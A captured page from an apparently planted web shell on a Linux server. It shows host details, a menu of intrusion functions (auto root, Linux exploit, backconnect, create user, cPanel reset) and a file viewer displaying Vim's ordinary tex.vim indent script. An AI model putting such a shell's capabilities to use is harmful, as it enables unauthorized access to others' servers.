Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.136.22.184
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim74 /
indent /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
1.6
KB
-rw-r--r--
aap.vim
265
B
-rw-r--r--
ada.vim
10.89
KB
-rw-r--r--
ant.vim
290
B
-rw-r--r--
automake.vim
231
B
-rw-r--r--
awk.vim
7.57
KB
-rw-r--r--
bib.vim
346
B
-rw-r--r--
bst.vim
1.87
KB
-rw-r--r--
c.vim
325
B
-rw-r--r--
cdl.vim
4.07
KB
-rw-r--r--
ch.vim
470
B
-rw-r--r--
chaiscript.vim
1.11
KB
-rw-r--r--
changelog.vim
264
B
-rw-r--r--
clojure.vim
11.85
KB
-rw-r--r--
cmake.vim
2.69
KB
-rw-r--r--
cobol.vim
8
KB
-rw-r--r--
config.vim
2.12
KB
-rw-r--r--
cpp.vim
329
B
-rw-r--r--
cs.vim
327
B
-rw-r--r--
css.vim
1.68
KB
-rw-r--r--
cucumber.vim
2.56
KB
-rw-r--r--
cuda.vim
305
B
-rw-r--r--
d.vim
510
B
-rw-r--r--
dictconf.vim
325
B
-rw-r--r--
dictdconf.vim
326
B
-rw-r--r--
docbk.vim
324
B
-rw-r--r--
dtd.vim
11.39
KB
-rw-r--r--
dtrace.vim
451
B
-rw-r--r--
dylan.vim
2.6
KB
-rw-r--r--
eiffel.vim
3.13
KB
-rw-r--r--
erlang.vim
45.15
KB
-rw-r--r--
eruby.vim
2.11
KB
-rw-r--r--
eterm.vim
638
B
-rw-r--r--
falcon.vim
13.65
KB
-rw-r--r--
fortran.vim
6.41
KB
-rw-r--r--
framescript.vim
786
B
-rw-r--r--
gitconfig.vim
817
B
-rw-r--r--
gitolite.vim
996
B
-rw-r--r--
haml.vim
2.14
KB
-rw-r--r--
hamster.vim
1.37
KB
-rw-r--r--
html.vim
14.46
KB
-rw-r--r--
htmldjango.vim
273
B
-rw-r--r--
idlang.vim
1.53
KB
-rw-r--r--
ishd.vim
1.8
KB
-rw-r--r--
java.vim
4.02
KB
-rw-r--r--
javascript.vim
336
B
-rw-r--r--
jsp.vim
462
B
-rw-r--r--
ld.vim
1.71
KB
-rw-r--r--
lifelines.vim
637
B
-rw-r--r--
liquid.vim
1.83
KB
-rw-r--r--
lisp.vim
353
B
-rw-r--r--
logtalk.vim
1.65
KB
-rw-r--r--
lua.vim
1.87
KB
-rw-r--r--
mail.vim
308
B
-rw-r--r--
make.vim
3.35
KB
-rw-r--r--
matlab.vim
1.88
KB
-rw-r--r--
mma.vim
2.17
KB
-rw-r--r--
mp.vim
6.37
KB
-rw-r--r--
objc.vim
1.61
KB
-rw-r--r--
ocaml.vim
8.9
KB
-rw-r--r--
occam.vim
4.53
KB
-rw-r--r--
pascal.vim
5.52
KB
-rw-r--r--
perl.vim
5.67
KB
-rw-r--r--
perl6.vim
3.42
KB
-rw-r--r--
php.vim
18.97
KB
-rw-r--r--
postscr.vim
1.58
KB
-rw-r--r--
pov.vim
2.58
KB
-rw-r--r--
prolog.vim
1.42
KB
-rw-r--r--
pyrex.vim
326
B
-rw-r--r--
python.vim
5.61
KB
-rw-r--r--
r.vim
14.44
KB
-rw-r--r--
readline.vim
681
B
-rw-r--r--
rpl.vim
1.79
KB
-rw-r--r--
rst.vim
1.35
KB
-rw-r--r--
ruby.vim
17.13
KB
-rw-r--r--
sass.vim
1018
B
-rw-r--r--
scheme.vim
241
B
-rw-r--r--
scss.vim
191
B
-rw-r--r--
sdl.vim
2.7
KB
-rw-r--r--
sh.vim
3.95
KB
-rw-r--r--
sml.vim
6.27
KB
-rw-r--r--
sql.vim
1.18
KB
-rw-r--r--
sqlanywhere.vim
12.77
KB
-rw-r--r--
tcl.vim
1.56
KB
-rw-r--r--
tcsh.vim
1.21
KB
-rw-r--r--
tex.vim
9.47
KB
-rw-r--r--
tf.vim
1.46
KB
-rw-r--r--
tilde.vim
994
B
-rw-r--r--
treetop.vim
677
B
-rw-r--r--
vb.vim
2
KB
-rw-r--r--
verilog.vim
7.44
KB
-rw-r--r--
vhdl.vim
13.48
KB
-rw-r--r--
vim.vim
2.76
KB
-rw-r--r--
xf86conf.vim
679
B
-rw-r--r--
xhtml.vim
269
B
-rw-r--r--
xinetd.vim
1.17
KB
-rw-r--r--
xml.vim
2.77
KB
-rw-r--r--
xsd.vim
253
B
-rw-r--r--
xslt.vim
297
B
-rw-r--r--
yacc.vim
769
B
-rw-r--r--
yaml.vim
4.02
KB
-rw-r--r--
zimbu.vim
3.8
KB
-rw-r--r--
zsh.vim
231
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tex.vim
" Vim indent file " Language: LaTeX " Maintainer: YiChao Zhou <broken.zhou AT gmail.com> " Created: Sat, 16 Feb 2002 16:50:19 +0100 " Last Change: 2012 Mar 18 19:19:50 " Version: 0.7 " Please email me if you found something we can do. Bug report and " feature request is welcome. " Last Update: {{{ " 25th Sep 2002, by LH : " (*) better support for the option " (*) use some regex instead of several '||'. " Oct 9th, 2003, by JT: " (*) don't change indentation of lines starting with '%' " 2005/06/15, Moshe Kaminsky <kaminsky AT math.huji.ac.il> " (*) New variables: " g:tex_items, g:tex_itemize_env, g:tex_noindent_env " 2011/3/6, by Zhou YiChao <broken.zhou AT gmail.com> " (*) Don't change indentation of lines starting with '%' " I don't see any code with '%' and it doesn't work properly " so I add some code. " (*) New features: Add smartindent-like indent for "{}" and "[]". " (*) New variables: g:tex_indent_brace " 2011/9/25, by Zhou Yichao <broken.zhou AT gmail.com> " (*) Bug fix: smartindent-like indent for "[]" " (*) New features: Align with "&". " (*) New variable: g:tex_indent_and. " 2011/10/23 by Zhou Yichao <broken.zhou AT gmail.com> " (*) Bug fix: improve the smartindent-like indent for "{}" and " "[]". " 2012/02/27 by Zhou Yichao <broken.zhou AT gmail.com> " (*) Bug fix: support default folding marker. " (*) Indent with "&" is not very handy. Make it not enable by " default. " 2012/03/06 by Zhou Yichao <broken.zhou AT gmail.com> " (*) Modify "&" behavior and make it default again. Now "&" " won't align when there are more then one "&" in the previous " line. " (*) Add indent "\left(" and "\right)" " (*) Trust user when in "verbatim" and "lstlisting" " 2012/03/11 by Zhou Yichao <broken.zhou AT gmail.com> " (*) Modify "&" so that only indent when current line start with " "&". " 2012/03/12 by Zhou Yichao <broken.zhou AT gmail.com> " (*) Modify indentkeys. " 2012/03/18 by Zhou Yichao <broken.zhou AT gmail.com> " (*) Add &cpo " 2013/05/02 by Zhou Yichao <broken.zhou AT gmail.com> " (*) Fix problem about GetTeXIndent checker. Thank Albert Netymk " for reporting this. " }}} " Document: {{{ " " To set the following options (ok, currently it's just one), add a line like " let g:tex_indent_items = 1 " to your ~/.vimrc. " " * g:tex_indent_brace " " If this variable is unset or non-zero, it will use smartindent-like style " for "{}" and "[]" " " * g:tex_indent_items " " If this variable is set, item-environments are indented like Emacs does " it, i.e., continuation lines are indented with a shiftwidth. " " NOTE: I've already set the variable below; delete the corresponding line " if you don't like this behaviour. " " Per default, it is unset. " " set unset " ---------------------------------------------------------------- " \begin{itemize} \begin{itemize} " \item blablabla \item blablabla " bla bla bla bla bla bla " \item blablabla \item blablabla " bla bla bla bla bla bla " \end{itemize} \end{itemize} " " " * g:tex_items " " A list of tokens to be considered as commands for the beginning of an item " command. The tokens should be separated with '\|'. The initial '\' should " be escaped. The default is '\\bibitem\|\\item'. " " * g:tex_itemize_env " " A list of environment names, separated with '\|', where the items (item " commands matching g:tex_items) may appear. The default is " 'itemize\|description\|enumerate\|thebibliography'. " " * g:tex_noindent_env " " A list of environment names. separated with '\|', where no indentation is " required. The default is 'document\|verbatim'. " " * g:tex_indent_and " " If this variable is unset or zero, vim will try to align the line with first " "&". This is pretty useful when you use environment like table or align. " Note that this feature need to search back some line, so vim may become " a little slow. " " }}} " Only define the function once if exists("b:did_indent") finish endif let s:cpo_save = &cpo set cpo&vim " Define global variable {{{ let b:did_indent = 1 if !exists("g:tex_indent_items") let g:tex_indent_items = 1 endif if !exists("g:tex_indent_brace") let g:tex_indent_brace = 1 endif if !exists("g:tex_indent_and") let g:tex_indent_and = 1 endif if g:tex_indent_items if !exists("g:tex_itemize_env") let g:tex_itemize_env = 'itemize\|description\|enumerate\|thebibliography' endif if !exists('g:tex_items') let g:tex_items = '\\bibitem\|\\item' endif else let g:tex_items = '' endif if !exists("g:tex_indent_paretheses") let g:tex_indent_paretheses = 1 endif if !exists("g:tex_noindent_env") let g:tex_noindent_env = 'document\|verbatim\|lstlisting' endif "}}} " VIM Setting " {{{ setlocal autoindent setlocal nosmartindent setlocal indentexpr=GetTeXIndent() setlocal indentkeys& exec 'setlocal indentkeys+=[,(,{,),},],\&' . substitute(g:tex_items, '^\|\(\\|\)', ',=', 'g') let g:tex_items = '^\s*' . substitute(g:tex_items, '^\(\^\\s\*\)*', '', '') " }}} function! GetTeXIndent() " {{{ " Find a non-blank line above the current line. let lnum = prevnonblank(v:lnum - 1) " Comment line is not what we need. while lnum != 0 && getline(lnum) =~ '^\s*%' let lnum = prevnonblank(lnum - 1) endwhile " At the start of the file use zero indent. if lnum == 0 return 0 endif let line = substitute(getline(lnum), '%.*', ' ','g') " last line let cline = substitute(getline(v:lnum), '%.*', ' ', 'g') " current line " We are in verbatim, so do what our user what. if synIDattr(synID(v:lnum, indent(v:lnum), 1), "name") == "texZone" if empty(cline) return indent(lnum) else return indent(v:lnum) end endif " You want to align with "&" if g:tex_indent_and " Align only when current line start with "&" if line =~ '&.*\\\\' && cline =~ '^\s*&' return indent(v:lnum) + stridx(line, "&") - stridx(cline, "&") endif " set line & lnum to the line which doesn't contain "&" while lnum != 0 && (stridx(line, "&") != -1 || line =~ '^\s*%') let lnum = prevnonblank(lnum - 1) let line = getline(lnum) endwhile endif if lnum == 0 return 0 endif let ind = indent(lnum) " New code for comment: retain the indent of current line if cline =~ '^\s*%' return indent(v:lnum) endif " Add a 'shiftwidth' after beginning of environments. " Don't add it for \begin{document} and \begin{verbatim} ""if line =~ '^\s*\\begin{\(.*\)}' && line !~ 'verbatim' " LH modification : \begin does not always start a line " ZYC modification : \end after \begin won't cause wrong indent anymore if line =~ '\\begin{.*}' && line !~ g:tex_noindent_env let ind = ind + &sw if g:tex_indent_items " Add another sw for item-environments if line =~ g:tex_itemize_env let ind = ind + &sw endif endif endif " Subtract a 'shiftwidth' when an environment ends if cline =~ '\\end{.*}' && cline !~ g:tex_noindent_env if g:tex_indent_items " Remove another sw for item-environments if cline =~ g:tex_itemize_env let ind = ind - &sw endif endif let ind = ind - &sw endif if g:tex_indent_brace let sum1 = 0 for i in range(0, strlen(line)-1) if line[i] == "}" || line[i] == "]" || \ strpart(line, i, 7) == '\right)' let sum1 = max([0, sum1-1]) endif if line[i] == "{" || line[i] == "[" || \ strpart(line, i, 6) == '\left(' let sum1 += 1 endif endfor let sum2 = 0 for i in reverse(range(0, strlen(cline)-1)) if cline[i] == "{" || cline[i] == "[" || \ strpart(cline, i, 6) == '\left(' let sum2 = max([0, sum2-1]) endif if cline[i] == "}" || cline[i] == "]" || \ strpart(cline, i, 7) == '\right)' let sum2 += 1 endif endfor let ind += (sum1 - sum2) * &sw endif if g:tex_indent_paretheses endif " Special treatment for 'item' " ---------------------------- if g:tex_indent_items " '\item' or '\bibitem' itself: if cline =~ g:tex_items let ind = ind - &sw endif " lines following to '\item' are intented once again: if line =~ g:tex_items let ind = ind + &sw endif endif return ind endfunction "}}} let &cpo = s:cpo_save unlet s:cpo_save " vim: set sw=4 textwidth=80:
Close